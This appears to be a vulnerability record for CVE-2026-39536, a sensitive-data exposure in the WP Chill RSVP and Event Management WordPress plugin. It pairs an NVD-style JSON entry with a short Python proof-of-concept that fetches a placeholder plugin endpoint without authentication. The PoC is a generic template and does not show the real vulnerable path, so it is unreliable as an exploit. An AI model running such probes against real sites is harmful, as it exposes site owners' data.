CVE-2026-39536

import requests # PoC for CVE-2026-39536: Sensitive Data Exposure # Target: WP Chill RSVP and Event Management <= 2.7.16 target_url = "http://example.com/wp-content/plugins/rsvp/vulnerable_endpoint.php" # The vulnerability allows unauthenticated access to sensitive data. # This script attempts to retrieve the exposed data. try: response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Success! Sensitive data potentially exposed:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-39536", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:26.360", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in WP Chill RSVP and Event Management rsvp allows Retrieve Embedded Sensitive Data.This issue affects RSVP and Event Management: from n/a through <= 2.7.16."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rsvp/vulnerability/wordpress-rsvp-and-event-management-plugin-2-7-16-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}